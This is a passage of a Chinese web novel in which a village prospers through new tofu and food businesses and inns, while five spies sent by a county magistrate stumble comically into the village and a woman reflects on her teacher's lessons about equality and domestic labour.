在李明月带着二十人展开低调的外出任务时,孙宁元则是致力于加强了豆腐厂的产能。 ——将人工推磨盘换成了驴子推磨,加快磨豆速度,并且优化磨齿形状和排列,充分碾碎豆子,将较为粗糙的滤网替换成较为细密的麻布袋,减少过滤次数。 至于锅具也适当增大了一些,好让一次能煮更多的豆浆。 这些法子倒也不是孙宁元自己一个人想的,而是她在厂子内集思广益得来的结果。 原先一开始,还有人不敢直接提建议,孙宁元为鼓励提建议,特意提出新政策。 提出建议最后被采纳的人给奖励100文! 就算没被采纳,只要建议是有效建议,也给一块豆腐作为鼓励! 这政策一出,豆腐厂内的工人都沸腾了。 100文!就说一句话的功夫! 换句话说,就算没被采纳,那也能白获得2文的豆腐一块啊! 第49章 客栈 既然有这般奖励条件,豆腐厂工人顿时群情激涌,各个踊跃发言。 最后讨论来讨论去,孙宁元亲自挑选了几条可操作性强的建议,给这几人各自奖赏100文,而其余工人都有发言,她索性大手一挥,一人一块豆腐。 等到切实提升了产量后,孙宁元这才有时间松口气。 不加紧生产不行啊,实在是需求太旺盛。 一开始豆腐刚开始推广售卖时,因时鲜性,不好保存等缘故,不少来购入粉条的游商们再看了看豆腐后,均放弃带走出售,而是选择了更为好携带的油豆皮,腐竹作为长途游历售卖的商品。 这些干货豆制品一时间被疯抢,毕竟这物做菜味道好,又得了个奇字,商人自是不愿意放弃这唾手可得的利润。 除了干货异常受外面商人的欢迎,新鲜豆腐则是更受附近人欢迎。 斗坡村从寅时开始,便陆陆续续有从附近过来的货郎,小商贩,小餐馆等等做小本买卖的人群一群接一群地来。 人群来了,那自然相应的吃食摊子也跟着来了。 村里各种叫卖声,香味,众人的谈论声,都能飘得很远。 不少货郎大早上就早早地排着队,在排队的时候,会有不少妇人小孩拎着篮子叫卖烤红薯,野菜团子,也有卖糙面包子的,总之熙熙攘攘,卖啥的都有。 吃食味道大都算不得特别好吃,但是早上垫吧一口还是足够的。 外地来的,手头稍微宽松点的喜欢去稍微大些的摊位去吃,譬如张记酸辣粉,王氏烤红薯,这样有名有姓的摊位投资大一些,摊主手艺不错,味道相对来说较好。 等到辰时正,豆腐厂窗口拉开卷帘,等着排队的众人“哗啦”一下,全部紧跟过去等着叫自己。 “张娘子,我要三十方豆腐,麻烦给我一些靠边的豆腐,耐炖。” “那我要中间的豆腐,嫩,适合凉拌。我要五十方。” 购买的人有货郎,也有酒楼采购,一般货郎要得少些,酒楼能多一些。 大伙挤在一起,一边嗅着扑鼻而来的豆腐味,又一边说笑着谈论。 “你这人不懂,嫩豆腐不好拿,路上颠簸重了容易碎。” “诶,你这话说得不对,嫩豆腐价格比老豆腐稍微贵一些,碎的也能自己回去吃,不亏。” 货郎们拿货时还会互相谈论几句,随后边吃边等着窗口给自己装豆腐。 等到一拿到豆腐,货郎停止闲聊,先行去卖货了。 而在中,有一则新贴的告示引起了不少人的注意。 负责贴招聘的正是平儿,他受赵金构所托,要现将客栈运行起来。 除了按照赵金构的要求预留出来几间房间后,平儿在写好了招聘单子后,打算将这两份单子贴在村口人多热闹处。 于是,大清晨的,不少赶来进货的,做生意的,讨生活的人都看到了这则招聘。 【万安客栈即将开张,喜迎八方客,今欲招募伙计二十名,男女不拘,司职跑腿,传菜,后厨食材准备,餐具洗涤诸事,日薪至少百文,有力气,能吃苦,爱净者优先,若有此意,速至本客栈面试,共襄盛举,同享红利!】 与此同时,还有一份名叫来乐客栈的,也张贴了招募,也是招收20人。 万安客栈,来乐客栈要招人? 话说这万安客栈,来乐客栈,难不成就是最近一直在建的那个? 本以为是一个老板建的呢,现在看来客栈分开招聘,想必是两个老板。 这两个老板倒是有趣,同时招聘,或许是打算同时开业了? 看着这则招聘,不少人动了心思,以隔壁村子的人尤其心动。 这客栈上写的招聘薪资也给一百文呢! 若是被选上了,那肯定不亏! 而外地来的商户激动到落泪,——这正儿八经能住宿的地方可算是有了,先前他们都凑合住在附近村民家中,其中艰辛自不必多说。 这会既然有客栈快开业了,他们必须先去瞧个热闹! 平儿一大早贴完了招募消息后,这才回了客栈稍作休息,他没闲着,而是准备着即将开业的各项事宜。 他不知道的是,门外这会正站着不少看热闹的人。 “这客栈突然就建好了,这看着真气派!” “这万安客栈要比这来乐客栈看着更气派,想必这万安老板更有实力。” “唉,依我等实力,恐也只能住得起这较为朴素的来乐客栈了。” 众人说什么的都有。 等到客栈外的嘈杂声越来越大时,平儿这才察觉到不对劲,赶忙追赶着出去看,结果一出门,便被人群惊呆了。???村里开客栈就是好啊,这还没宣传呢,人就自发都过来了,这要是换成风仙城,不敲锣打鼓,不舞狮子请艺人吸引注意力,谁鸟你家开业! 这会平儿恐失先机,先给围观的众人拜了个礼,说了几句好听话。 等到看热闹的人群散开后,剩下的便是欲来应聘的人。 平儿喊了两声,让这些人按照五个一组的进来,随后挨个询问平时是干啥的,再看看外貌是否整洁。 来的人中,大都是本村,隔壁村的人。 平儿受过赵金构点拨,只要不是说太离谱,太靠不住的本村人,他基本上都接收了。 而剩余的职业还有十五个空位,平儿又从隔壁村挑了人填上去。 客栈内招聘进入了白热化阶段,而在客栈外,汪老翁紧张地直攥袖口。 也是巧了,今日他刚好带着孙女过来逛会集市,谁能想到恰逢新开业的客栈招收员工。 若是外面的客栈,汪老翁可不愿意让自家孙女过去应聘,毕竟一个妙龄少女在外面干活,尤其客栈那地方鱼龙混杂,世道又乱,他一个老头子如何能护得住孙女? 但现在不同,这可是斗坡村,是仙师的地盘! 想起上次城中那几个流氓的下场,汪老翁自是信任仙师手段了得,定能护住孙女。 所以这客栈的活计,可算得上稳定了。 他虽说做点小买卖还能维持家中生活,也为孙女攒了些嫁妆,但等他人老了,做不动时,孙女没个好去处,他如何能安心? 于是汪小娘便去了。 等到汪老翁在外面等得直急时,就见自家孙女小跑着跑了出来。 看着孙女面色不太好,汪老翁自觉没戏,也不再追问,反而要带着汪小娘继续逛逛集市。 没被选中的汪小娘差点落了眼泪。 其实刚才她快被选上了,但后来那管事的问了她年纪后,便没再选择她,想必是觉得她年岁不够,无法担任职务。 汪小娘有些泄气,也害怕阿公出门会问自己,但阿公什么都没说,这让汪小娘松了口气。 而汪老翁面上不显,心里微微失落。 看来这次孙女是无缘选中了,也不知未来自家孙女该何去何从 但此刻说什么都显得无力,他索性不再多想,反而准备带着孙女高兴地玩乐一番,毕竟这是他第一次带孙女出来游玩。 念及汪小娘心思敏感,汪老翁极力表现出不在意,倒也幸亏他演技不错,孙女小心地看了看他似乎真没什么反应后,倒也逐渐放开了。 拉着汪老翁的手,汪小娘兴奋地在集市中穿梭,最后汪老翁应孙女的请求,给孙女买了一份滚烫的酸辣粉。 爷孙二人玩得开心,而在那风仙县内,王县令急得都要冒火。 ——那杨木一行人已去了一月有余,为何迟迟不归?甚至完全没有消息传来 难道几人均已遇害? 也不对啊,按原定计划,几人需在进入那地前给他传送一条消息,确保他们到了地方,但现在,就连这条消息,他都没能收到! 有心腹蹙眉质疑。 “大人,这五人不会是商量好了潜逃了吧?这才一点消息都没传回来。” 王县令先是一惊,随即觉得心腹说得有点道理 确实,他怎么能忘记这种可能性。 毕竟这五人负责的事本身就是危险差事,中途叛变再正常不过了。 但这些人均是上有老,下有小,单跑了他一个,只要他们家人还在,这便是他们的软肋。 想到这里,王县令意味深长地看了眼心腹。 心腹立即懂了这眼神含义,先退下去,而后在一个时辰后,再次重新归来。 “回大人,那五人父母妻儿尚在家中,看面色也淡然自若,不像是知道实情的模样。” 王县令听到这话更发愁了。 这既然家中不知情,那便不可能是叛逃了。 再说了,外地受灾程度比本地还要严重,逃跑去外地又有何活路? 倒是没想到,那地竟然如此诡异,一下折进去五个人,竟然一丝一毫的消息都没能收到。 兹事体大,他必要先禀告圣上,而后等上面的命令才对。 王县令书写报告时,李县丞倒也得知了此消息。 等听到五人均消失后,他蹙眉敲击着椅子的扶手。 叛逃? ——不可能,其中有一人是汪县尉的心腹,那人心思功利,眼看着即将升职,断是不会同意。 且这些人的家人还在城中,并未有往外奔走的情形。 那便只有一种可能,这五人是真出事了。 或许,王县令做的决策是正确的,这等诡异,必须要上面派人解决才行,像他们这样芝麻官,如何能解决得了这事? 而不知为何,李县丞却总感觉此事似乎有哪里不太对劲,似乎他在冥冥中做错了某种决定 而众人口中消失的五人,此刻却衣衫狼狈地行走在山路中。 漆黑的夜,五人有气无力的身影看着和鬼一样瘆人。 第50章 诡异 夜路难走,五人深一脚浅一脚地走在路上,其中领头的便是多日备受折磨而狼狈的杨木。 ——话说先前他们五人被那带路的老翁坑进陷阱后,那老翁一溜烟跑得没影,只剩下他们五人伤的伤,懵的懵。 先前最为得意的李乾,被那坑底的木刺刺到了双手,面颊,脖颈,其余人倒是运气还不错,只有擦伤。 因坑较深,五人先是转悠了几圈,随后提议踩着马往上攀爬,看看是否能够爬出去。 连着试了好几次,五个人全部摔了回去。 这坑洞比想象中要难爬,因前不久刚下过雨的缘故,这坑里潮湿,泥土都粘结成一团一团。 因试着往上攀爬,李乾感觉被刺伤的部位更难受了。 先前他被木刺扎进去的双手,脸颊,脖颈,早就开始红肿起来,这几处几乎不能触碰,不然便是钻心的疼。 “你们别愣着啊,快想想办法,这破地方我是一刻也不想待着了!” 李乾恼怒的大吼大叫,其中一个人冷笑着开口。 “想办法?你给咱们再找一个能让咱们离开此地的向导吧,咱们几个确实比不上你能搜寻到人才。” 李乾气得变了脸色,还没开口,另一人愤愤不平接了话。 “李乾,你说这话什么意思?那不是你让那老翁察觉到咱们的身份么? 这事说到底都是你办事不力,这会大伙都在想办法出去,你能不能少发几句牢骚?” 这人看不惯李乾许久,再加上先前他也曾被这李乾抢过功劳,这会说话夹枪带棒的,对李乾这般态度很是不满。 李乾恨恨地看了几眼这两人,用鼻子哼出一声后便不再开口。 而杨木则是观察着附近,想寻找出去的方法。 这坑深度太深,不如他们几人叠罗汉后,试试能不能够到坑边? 没人不同意这个提议,但当叠罗汉失败后,五人陷入沉思。 ——不行啊,这坑这么深?! 五人没闲着,分别从各个角度,试图去寻找新的逃生路径。 正是一筹莫展之际,杨木有些犹豫地开口。 “其实,刚才叠罗汉时,我发现了一个或许能成功的方法” 片刻后。 “你说咱们把衣服脱了,撕开后拧成绳逃脱?” 其中一人缓缓开口。 杨木点头。 “我看了一下,咱们这个坑的最近处有一棵大树,这大树有一处枝杈可以卡进去,只要绳索够长,我们便可以将绳索的一头勾到树杈上,到时候我们踩着马,一使劲应该能出去。” 稍稍一琢磨,五人为了逃脱此地,还是选择脱衣服自救。 将外衣剥干净后,杨木将做好的绳索试着往上面甩去,结果绳索却没能勾住,反而掉了下来。 几人有些慌,杨木心态稍好一些,冷静开口。 “应该是衣服不够多,做的绳索长度不够的缘故,我们再脱一些。” 杨木淡定开口,其余四人不淡定了。 话说这合理么?现在正值秋老虎季节,谁穿衣服还里一层外一层的穿?不嫌热啊! 刚才他们早就将能脱的都脱了,现在身上就剩个内衣裤,还能怎么脱? 杨木看着四人犹豫的模样,先叹了口气,随即去不远处去找寻什么。 等到他再次回来时,手上多了一块布。 四人很快意识到,这布料便是先前马车的门帘。 眼瞅着绳索长度有望,几人顿时暗自兴奋。 好啊,起码保住自己所剩无几的贞洁了! 而当又一次绳索没勾上树杈后,五人都沉默了。 为了防止是杨木技术差点意思,五人轮番上阵,均以失败告终。 等到最后,五人面面相觑,最终还是杨木颤抖着嘴唇开口。 “不然脱了吧,感觉快成功了” 其余四人: 想拒绝,但是不知道该如何拒绝。 四人还在思索时,杨木眼疾手快,先将四人衣物一一剥干净。 被迫脱衣的四人刚想发火,结果在看到同样脱光的杨木,再次沉默了。 等到将身边能利用的布料全部利用上后,杨木拼命一试,绳索带着他们五人的期望往前直勾勾地飞去,越飞越远,越飞越快,直到掉了下来。??? 五人期待的表情顿时僵硬了。 什么鬼? 这距离就那么远么! 这死老头到底是从哪里找到这绝品大坑啊! 忍不住在心中咆哮,五人轮番试验,确定不能成功后,五人均有不同程度的崩溃。 一方面是逃生无望的绝望,还有一方面就是五个大老爷们,不穿衣服,不停地跳跃,这场面真是要多诡异有多诡异。 五人大感崩溃之余,在坑底又呆了一天一夜。 也不知道这地到底是哪,半夜五人总能听到不远处传来狼的嚎叫声。 大半夜的,怪瘆人的。 抖了一晚上,第二天,天一蒙蒙亮,几人再次开始自救。 这次五人突然想到,自己一行人可以叠罗汉,最后再甩绳子啊! 这样不就能增加绳索长度了么? 抱着想逃出去的想法,五人拼尽全力,终于逃脱成功。 出来后,李乾因为折腾,这会伤口早已发炎红肿,惨不忍睹。 但比这更令人尴尬的是,五人身上全都未着片缕,看上去感觉更不像话了。 五人: 杨木提建议。 “一人分点绳子把重要部位遮一下吧” 这话没人拒绝,毕竟现在他们五人看起来实在是太变态了 好不容易处理好,五人凭着来时的记忆,一步一个脚印地往回走。 来的时候坐着马车,没感觉到疲累,这会徒步让五人累得直喘气。 尤其是掉到坑底后,五人就喝了点水,东西也几乎没吃,还折腾了那么久。 走错了好几次,五人这才走到一处看着像是小村落的地方。 他们五人从村庄比较偏的一角进去,想着去里面看能不能弄口吃的,换个衣服什么的,结果好巧不巧,遇到了田地里提着锄头锄草的一群村民。 有男有女。 等到看清楚那群人的时候,五人避让不及,杨木本想开口求购,结果不知道是哪个村民喊了一嗓子“打流氓”,这群人突然就冲了上来。 眼看情况不对,五人赶忙转身就跑。 身上的绳索乱晃,杨木头一次感觉,自己活着和死了都没啥区别 从某种意义上来说,社死和死亡,区别也不大了。 期间路过河边时,五人顺道顺走了晾晒在晾杆上的衣物。 被追撵着跑了许久,好不容易甩了这群人,五人绝望地发现,——又又又迷路了!这可恨的山地! 中途向多位老农问路,结果被多次欺骗,骗到后来,五人宁愿自己琢磨着走路,也不愿意去问路了。 就这样折腾了一个月,望着不远处的斗坡村,蓬头垢面,狼狈至极的五人鼻子一酸,差点哭出声。 倒是一旁路过的坐着牛车的商贩们看着他们指指点点,嘴里嘀咕的声音还不小。 “看看这五人,肯定是外地流浪的,来斗坡村讨生活了,就是这模样造得可真惨啊。” “别说了,这年头谁也不容易” 五人听到了周围人不算小的嘀咕声,刚想开口解释一下,面前就滚过来几枚铜板。 铜板咕噜噜滚动着,直到在碰到杨木脚边后才停了下来。 五人正疑惑这是毛意思,就听一年轻女子的声音传来。 “赏你们的,拿着去打理打理自己,再去找个工作。”??? 什么鬼,原来是把他们当成了要饭的了? 杨木顺着声音,一眼便找到这人。 倒不是他观察能力强,而是这等人物实在是显眼。 ——身姿挺拔,红袍随风翻滚,扔铜钱的手指无意识搭着腰间那把弯刀,举手投足皆透露出一股凌厉感。 此人实力,恐怕很强。 杨木倒不觉得被冒犯,而李乾一路遭罪,这会早就气不顺了。 眼瞅着找到了一个发泄点,久积的情绪瞬间喷发。 杨木感受到李乾的怒火,刚想制止对方,却也来不及。 只见李乾抓起对方扔过来的铜板,对着对方的背恶狠狠地扔了回去。 嘴里还不干不净地叫骂着。 杨木眼看此人要作死,连忙往后退了几步,生怕沾染上晦气。 毕竟李乾也是练过几年的,他投掷出去的铜板破风而去,眼看就要逼近那女子后背之际,那女子却毫无动作。 杨木愣神片刻,心想难道自己看走眼了? 刚有这个念头,李乾却突然倒地不起。 嘴里“哎呦”个不停。 杨木忙去看,随即便发现李乾的面门上竟然深深印着那几枚铜钱。 他一看这状况便知,那女子是在关键之际抽出弯刀,将那铜板加了巧劲弹射回去 好快的反应力,到底是何时动的手? “背后偷袭,可是会死的。不过你运气不错,我今日不杀生。” 女子声音带笑,说出来的话却像蛇一般阴冷。 杨木本以为这女子会折返回来,但那女子未曾停留,反而径直前往斗坡村。 看来似乎是有更重要的事要去处理。 身旁的李乾还在喊着扶他起来,杨木顿觉无语。 理都没理他。 ——一路上吃了这么多亏,这人还能这么坚持不懈的作死,实在是愚不可及,可见原先能受汪县尉赏识纯粹是因为恭维到位。 因前方立马便要进入斗坡村,杨木觉得还是需要讨论一番后再进入更安全。 这一路走来的艰辛,让杨木察觉到并不一般。 人,真能倒霉成他们这样么? 莫不是那日城门口未知的存在察觉了他们的窥视,所以它的报复早就开始了?《 》 50-60 第51章 不合理 有时候这种东西不能想,一想就觉得先前那些事,件件透露出诡异。 ——出师不利啊。 遇到的第一个看着像是老实人的老翁竟然选择坑害他们,而后面更是经历了种种令人崩溃不已的遭遇,杨木本想踏入斗坡村的脚,忍不住瑟缩起来。 但这猜测他还不能告诉同伴,毕竟只是猜测而已,若是因为猜测,他们未能完成任务,想也知道后来他们面对的将是什么样的后果。 ——风仙县都是王县令触手可及的范围,在这个范围内,他和家人别说好好活着,只要说不丢掉性命都是好的。 换句话说,只要他及他的家人,一日在风仙县,便一日都不能过上舒心的日子。 杨木也不是没想过离开风仙县,离这些人远远的,但现实总会打败他的幻想。 ——离开风仙县,他如何养活得起妻儿父母?风仙县好歹是个大城,相对来说还能在城中找事做活,但若离开这风仙县,他家里人该如何自处? 也不是没想过前往别的大城讨生活,但路途遥远,近期频发灾害,不少城内还战乱不断,逃亡的路上也容易遇上劫匪,处处都要冒险,还不如在这风仙县苟活着。 在心中这般思索一圈后,杨木先前还不太敢踏入斗坡村,这会却悲从心底来,倍觉人生无望,就连一会要进入斗坡村,似乎对他来说,都变得没那么令人害怕了。 其余四人不知片刻间杨木心中竟翻滚出这么多思绪,只是讨论着入村后可能会发生的事。 “我听那说书人说,这妖物会使幻术,最爱变幻的便是一副安稳祥和,其乐融融的画面,等咱们一沉迷,不愿醒来后,这妖物便会在幻境中将我们吃下” “我还听说,这种妖物必定极聪慧,我们恐怕在进入这村子的第一时间,便会被此妖物捕捉到潜入,所以说,咱们潜入,很危险啊” “你们说这妖物既然法力高强,为何不直接出去随便杀人,为何偏要躲藏在这一村落,变幻出幻境引诱人进去?这不麻烦么?” 杨木沉默一瞬,随即想到了他听过的话本子。 “可能是因为这和妖物的修行有关?我们进去后必须要见机行事,察觉到不妙后,立即逃出来回去汇报,若到了特殊时候,我会拖住那妖物,你们快跑。” 大伙都没有意见,倒是先前蹦跶得最欢的李乾拒绝了杨木的建议。 “我这伤还没好,进去只会拖你们后腿,且咱们在村外还需要再设一人负责村口警戒啊,若你们出事了,我也能第一时间回去报信。” 李乾信誓旦旦开口,其余四人均是冷笑。 “李乾,你惜命就直说,还说得这般冠冕堂皇,这话说出来,你自己估计都要笑了吧?” “是啊,就算要设置村口警戒,那也得挑一个更适合的人,选你的话,一会你可别跑了,把我们全都卖了。” 李乾气得吹胡子瞪眼,和这几人对喷了几句后,突然冷笑道。 “给你们脸了是吧,都想想自己回去后还想不想在风仙县混了,若还想混,便乖乖按我说的去做,不然就算咱们回去了,我也有能力让你们生不如死。” 被威胁的四人均是呼吸一滞。 这等卑鄙小人! 但这话虽难听,却也的确是惹火李乾后他能做出来的事。 四人均后悔当初为何忍不下心,要去救这人出来。 眼看四人眼神暗恨,李乾转怒为笑,拍了拍距离他最近的杨木,感慨道:“其实我能活着出来,确实要多谢你们不离不弃,我保证,只要这次你们先进去,我定不会将你们的功劳全部拿走,到时候咱们平分便是。” 这等无耻小人! 他贪生怕死,不想入虎穴,反而还假惺惺地要求平分功劳。 若是不考虑别的因素,杨木四人真想对着这李乾的面门来那么一下,可惜他们始终要回去复命,只要回去,这李乾便具有天然的优势。 杨木忍着不爽,和其余三人对视一眼,算是同意了这人的话。 等到李乾亲眼看着杨木四人进入斗坡村后,这才找了个地方坐下来,仔细盯着那村口去瞧。 而视死如归的杨木一行人,则在进入斗坡村后不自觉绷直了身体。 只是初入斗坡村,尽管做好了心理准备,村内面貌依旧让四人忍不住大惊。 ——这这般热闹,竟然只是一个村落? 只见村内,车水马龙,来往不绝。 骑马的,架着马车的,赶着驴车,牛车的,走路的,啥样的都有。 除了车多人多,杨木似乎还嗅到了一阵又一阵食物香味,酸甜苦辣咸,味味交织。 杨木忍不住冲着香味来源的方向去看,结果便看到一条吃食摊位,这些摊位聚集在一起,规模尚大,依他看,这规模甚至要比风仙县内的集市还要大 话说这些人为什么要聚集在这小小的斗坡村内啊? 杨木心中疑惑,但他却忍不住朝着那摊位仔细去看。 只见那售卖吃食的摊位,有一半的摊位卖的是较为寻常的东西,另一半售卖的东西,全是他未曾看到过的新奇之物。 就连牌子写的字,他都觉得自己看不懂 什么叫烤地瓜,还有地瓜饼,以及豆花脑,炖腐竹,这些字他认识,但拼凑在一起,却成了他看不懂的东西。 杨木伸长脖子往前看,就看到那叫地瓜饼的东西被摊在刷了一层油的铁板上,饼的边缘被煎得滋滋冒气,眼看时机成熟,那摊主拿着铲子,灵巧而又快速地将已煎好一面的金黄色小饼翻转过来,不多久,一个完整的金黄色地瓜饼便被放在了一旁的盘子内。 那阵香甜的味道霸道地扑鼻而来,惹得四人忍不住地咽着口水。 此物竟然是甜的?想必价格不菲。 等他看清楚那标着的价格后,整个人懵了 多少?两文钱一个饼? 揉了揉眼睛,确定自己没看错后,他沉默了。 糖多金贵啊,这饼嗅着有股香甜味,必是加了糖进去,只是没想到,这售出的价格竟然这般低? 别开视线,再看其他摊位时,杨木顿觉自己的物价体系好像崩了。 豆花脑一碗3文,上面还放了一小把炒得干脆的黄豆,除却黄豆,内还放着辣椒油韭菜花,看上去就好吃。 炖腐竹的话,并非是单纯的炖腐竹,其内还有不少别的吃食,杨木仔细看了几眼,发现里面有肉,有萝卜这些,不同的东西,售卖的价格不同,但这锅吃食的味道香得没边了。 唯一的共同点是,这里的东西大都定价很是合理,至少比风仙县卖得便宜得多。 杨木震撼之余,又心里直打鼓。 难道从此刻开始,那妖物的幻术便开始了? 不然该如何解释这些物美价廉的新奇吃食? 反正他是不信会有这么便宜的东西存在的。 杨木谨慎地盯着不远处的摊位,顿觉处处都是陷阱。 但很可惜,四人因一路奔波,几乎没怎么吃过一口正经饭,这会肚子饿得直咕噜。 “别看那边,那都是妖物的幻象,咱们现在看着那是美食,等幻象散开后,怕是尸骨幻化而成。” 杨木一开口,有些忍不住的三人瞬间理智回笼。 ——有道理,那话本子上都是这样写的,他们可不敢去试! 不过,话虽这么说,四人的眼神依旧止不住地往那边飘,尤其在看到熟悉的一物后,杨木愣住了。 ——酸辣粉! 这物不就是先前那张氏一行人售卖过的东西? 看来那张氏确实来了斗坡村,他们并非是在做无用功,继续调查的话,很可能能在此处得到更详尽的信息。 忍着饿,四人往前继续走,却恰好撞上了拎着篮子叫卖烤地瓜的羊角小童。 眼瞅这小童要摔倒,杨木赶紧伸手一拉,将这小童扯住。 等到这小童站定后,笑着举着篮子道:“叔叔,买一个烤地瓜吧,自家烤的,可甜可好吃啦!只需要一文钱,就能买很大一个!” 杨木扫了一眼,发现这篮子内名为烤地瓜的东西,个头确实不小。 若是平时,他便买了,但是现在 杨木连挥手拒绝,看都没敢看小童一眼,继续往前走。 没走几步,四人便发现这村内竟然建着客栈? 一共有两家,叫来乐客栈的外表看着较为普通,而另一个叫万安客栈的,则更为精致气派。 不少架着马车的人在那万安客栈面前停下,随即钻入客栈内住宿。 随行的小厮则是牵着马匹,似乎是去了车厩。 至于那些囊中羞涩之人,则是去了隔壁的来乐客栈入住。 这些人的行为太过于正常,再结合先前在集市上看到的那番光景,甚至让杨木产生了一种自己似乎来到了一个比风仙县要更为繁华之地。 但这便是最大的不合理,风仙县好歹是一座城池,这斗坡村只是一小村落,如何能有这般繁华的一幕? 杨木更为谨慎,而就在此刻,他却注意到,客栈的前方似乎是有什么活动? 只见那处人头攒动,甚是热闹。 杨木几人对视一眼,两人一组,从不同方向向前方走去。 而距离那处越近,杨木越是不敢相信自己眼前看到的一幕。 ——这是一处搭着棚顶,却敞开的地方,中间摆着一个摊位。 熟悉的酸辣粉味道悠扬地飘散在村落上空,而在那摊位中,一熟悉的妇人面庞出现在他眼前。 竟是张氏! 第52章 被发现了 杨木心底一紧,心想这任务到了最关键之处了,等他们跟踪完张氏,差不多便能得出本村的情况。 他目不转睛地盯着前方去看,就见这张氏微笑着给众人打粉,而酸辣粉的另一旁,正放着一个方正的箱子,上面用毛笔蘸着金粉写着“功德箱”三个大字。 杨木稍稍一观察,便看清楚这是何意。 ——此处的酸辣粉可以免费领取,也可以在功德箱里面自愿投入铜钱作为饭价。 但凡是手头不太紧张的人,均会在功德箱投入比一碗酸辣粉更多的铜板,杨木记得村口那边的一碗酸辣粉售卖价格为6文一碗。 而眼下来看,大部分投入的铜板数可比6文多多了。 有免费吃粉的,但看着就是一副落魄模样,那负责打粉的张氏倒是毫不嫌弃,对待谁都是笑眯眯的。 像这样的集会,在每月的月初,月中,月末均有一次,可谓是较为难得了。 而等到这些人拿到酸辣粉后,杨木注意到,这些人并未吃掉,而是小心翼翼地将酸辣粉放置于食盒内,随即这些拿到粉的人纷纷跪拜在地,嘴里嘟囔着什么。 因距离有些远,杨木听得不是很清楚,等他费劲往前挤开人群时,这才勉强听清楚对方口中念叨的话。 “我等必勤修不辍,紧随仙师身后,直至太平盛世。” 等听清楚后,杨木整个人都有些恍惚,不禁呆愣在原地。 ——这说的这话,真的是叩拜仙人应该说的话?怎么听,都像是想要颠覆大炎朝的叛贼说的话 原先还感觉这地方是妖物作祟,这会杨木的想法却有些动摇了。 难不成,这妖祟并不存在,而是叛贼利用所谓的妖祟笼络人心? 越想,越觉得有可能。 杨木顿时警觉。 这集会接连办到下午酉时才结束,期间杨木惊讶地发现,这些前来求酸辣粉的人各个心诚得很,虽说这不让他们跪拜,但这些人自发地对着地,“砰砰砰”磕了好几个头,等说完那话,拎着酸辣粉离开时,各个脸上都带着难以描述的癫狂。 “我拿到粉了!快告诉娘子我拿到了!” 杨木: 好容易等集会完毕,那张氏一行人开始收拾东西时,杨木带着三人躲在了暗处。 张氏倒是未曾发觉他们,只顾着招呼身旁人将锅具收拾干净。 “锅子都搬回去客栈去,在厨房洗干净了,再晾干放好,功德箱里面的铜板先点清,随后我便将这功德箱内的钱回报仙师,询问这钱的该如何用掉。” “好嘞张娘子,我们这就去弄。” 两旁的妇人听着张氏的安排,手脚麻利地往客栈厨房内搬东西。 张氏回想起近期斗坡村的现状,忍不住面露满足。 ——她没想到,仙师竟会给村里带来如此大的改变,原先斗坡村不过是一个小的不能再小的小山村,而现在,斗坡村因地瓜厂,粉条厂,不仅让本地村民有工钱可领,还靠着产出粉条,豆腐这些产物,吸引了附近大大小小的商贩,而商贩的到来,再次丰富了斗坡村内其他的产业,譬如民房住宿,譬如小吃摊,又譬如脚夫。 原先大伙只能靠着种地赚点钱,而现在,随着人流量增加,工作岗位增加,岗位一多,村里的女人们甚至都能轮得上去上工。 先前倒是有人家不愿意让自家娘子出去上工,毕竟上了工,家里的活计谁来干? 但这架不住别家女人出门赚钱。 不愿意的人家看着那夫妻两一起出去,每日最少赚200文工钱,整天别人家中传来阵阵香味,终于是忍不住了。 下次招聘时,就连本村最古板的人家,也因眼馋这日100文的工钱而选择让自家妻子出门赚钱。 ——这工作的地方也在本村,方便还近,多好! 家中的活计没人做了怎么办? 只能公婆帮着干点,要是没有公婆帮衬的,倒分人,有人家是夫妻二人都共同收拾家中,还有的却是让自家娘子负责收拾,自己则歇着。 若放在以前,张氏并不觉得奇怪,毕竟当下主流思想便是男主外,女主内,她原先和那些个女人一样,不仅不反感打理家中琐事,反而觉得这是属于她的一种义务,若哪天丈夫不让她打理家中,她都会觉得是天塌了。 莫不是丈夫对自己有意见,不然为何无故这般? 而在遇到仙师后,张氏不仅受到仙师任命,更是看到了那般奇诡的学堂。 在那学堂学习菜谱时,张氏常常能听到仙人教诲。 初次听到仙人说女人打理家中琐事是付出了劳动,却不被尊重时,张氏觉得不解。 ——人人口中都说,作为妇人要三从四德,要操持家务,要相夫教子,这样才是作为一个优秀的妻子应该做的事。 为何仙人却不这样说? 抱着这样的疑惑,张氏不吭声,继续看下去,而等听到诸多更令她震撼的言论时,张氏头一次感觉到懵懂。 仙人说,众生生而平等,那男女自然也平等。 男人负责赚钱,妇人负责家中,原本是一段佳话,但越往后,外出劳作的人便会对停留在家中的人抱有怨言,哪怕妇人从头到尾并未休息,干了不比他少的活计,却依旧会被忽略价值。 仙人尖锐地指出,是因为当下妇人的家庭劳动未被社会承认,因为当下家庭劳动默认归属于妇人的,属于干好了没有奖励,干不好了反而会引起批判。 张氏似懂非懂。 ——可是这话也不对,丈夫要出去赚钱,也十分辛苦,她作为女人若不打理家中,家中该如何维系? 而那学堂仙人不停止,继续道,若男女都要出去工作,那家庭劳动该归属于谁? 张氏头一次感觉到迟疑,若按照她先前的想法,那自然是妇人负责,但分明此时妇人和男人共同出去工作,那按道理,家庭劳动应该两人各自一半才算公平合理。 刚这么想了,那仙人的话还未停止。 ——若你想的是均分才算合理,那妇人作为为家庭生育后代的价值又该如何计算?既妇人承担了生育风险,那理应男人该负责的家庭部分要更多一些。 张氏脑袋轰隆一声炸开,前所未有的新奇观点,顺着她刚开蒙的脑袋溜了进去。 她楞在原地,想思考,脑袋却疼得快要炸开。 繁杂的思绪几乎要撑开她可怜的脑袋,张氏无奈之下,只能逼迫自己不再去想这话。 但当她睡在宿舍的床上,脑海内那几句话却始终挥散不开。 张氏辗转反侧,一夜未眠。 第二日,她再次前往学堂,打算继续听学堂教诲。 从此往复,张氏听多了,便也能逐渐生出一些想法来。 不过这些想法和这世道想法格格不入,张氏一直隐瞒得很好,未曾让人发现她多日的研习心得。 所以此刻,对于夫妻二人出去工作,但操持家中依旧是妇人时,张氏很是恼火,但因是别人的家事,她不能贸然去介入,只能无奈作罢。 不过在隔壁村倒是出了个奇人,此人名为李娘子,是在本村豆腐厂新品兜售员岗位上工作。 张氏听闻,这李娘子因和丈夫感情不和,选择了和离。 十里八乡,李娘子是第一个和离的农妇。 张氏打听后才知晓了李娘子的遭遇,本以为李娘子是因为家暴(是的,她学会了那仙人说过的这个词语)才选择和离,但当打听出来并非如此后,张氏惊讶之际,涌出来的情绪却是敬佩。 若是她,她做不到像李娘子这般快刀斩乱麻。 